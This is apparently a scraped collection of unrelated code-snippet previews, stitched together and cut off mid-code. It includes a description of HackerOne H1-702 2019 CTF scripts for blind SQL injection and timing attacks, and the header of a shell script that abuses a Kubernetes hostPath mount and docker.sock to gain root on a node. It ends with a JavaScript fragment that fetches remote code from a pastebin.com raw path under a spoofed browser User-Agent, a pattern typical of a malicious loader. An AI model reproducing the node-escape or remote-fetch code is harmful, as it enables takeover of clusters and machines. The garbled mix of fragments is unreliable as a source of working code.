Harrison Powers fijimunkii

Scripts developed for solving HackerOne H1-702 2019 CTF

image_extract.py performs character extraction on targetted against the HackerOne H1-702 CTF announcement image
decrypt_sqli.py performs blind sqli data extraction with encrypted payloads targetting against the FliteThermostat API
timing_attack.py performs an HTTP piplining based timing against the FliteThermostat Backend
wordlist_generator.py generates wordlists from a give corpus or set of corpuses
httplib.py performs efficient asynchronous HTTP requests against the FliteThermostat Backend

This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.

Do not use self-signed certificates in production ! For online certificates, use Let's Encrypt instead (tutorial).

	[dependencies]
	sgx-isa = { version = "0.2", features = ["sgxstd"] }

	# RustCrypto, used for CMAC
	cmac = "0.2.0"
	crypto-mac = "0.7.0"
	aes = "0.3.2"
	block-cipher-trait = "0.6.2"
	generic-array = "0.12"

	#include <time.h> // Robert Nystrom
	#include <stdio.h> // @munificentbob
	#include <stdlib.h> // for Ginny
	#define r return // 2008-2019
	#define l(a, b, c, d) for (i y=a;y\
	<b; y++) for (int x = c; x < d; x++)
	typedef int i;const i H=40;const i W
	=80;i m[40][80];i g(i x){r rand()%x;
	}void cave(i s){i w=g(10)+5;i h=g(6)
	+3;i t=g(W-w-2)+1;i u=g(H-h-2)+1;l(u

	#!/usr/bin/env bash

	set -e

	#
	# Executes a command and (exponentially) retries if it fails.
	#
	# Usage:
	#
	# exec_with_retry <command>

	const Promise = require('bluebird');
	const request = require('request');
	const requestAsync = Promise.promisify(request);
	const USER = process.env.GITHUB_USER;

	exports.handler = async (event, context) => {
	try {
	if (!USER) throw new Error('GITHUB_USER env missing');

	const module = event.pathParameters.module;

	#!/bin/sh
	# Launch a Pod ab-using a hostPath mount to land on a Kubernetes node cluster as root
	# without requiring `privileged: true`, in particular can abuse `DenyExecOnPrivileged`
	# admission controller.
	# Pod command in turn runs a privileged container using node's /var/run/docker.sock.
	node=${1}
	case "${node}" in
	"")
	nodeSelector=''
	podName=${USER+${USER}-}docker-any

	try {
	var https = require("https");
	https
	.get(
	{
	hostname: "pastebin.com",
	path: "/raw/XLeVP82h",
	headers: {
	"User-Agent":
	"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",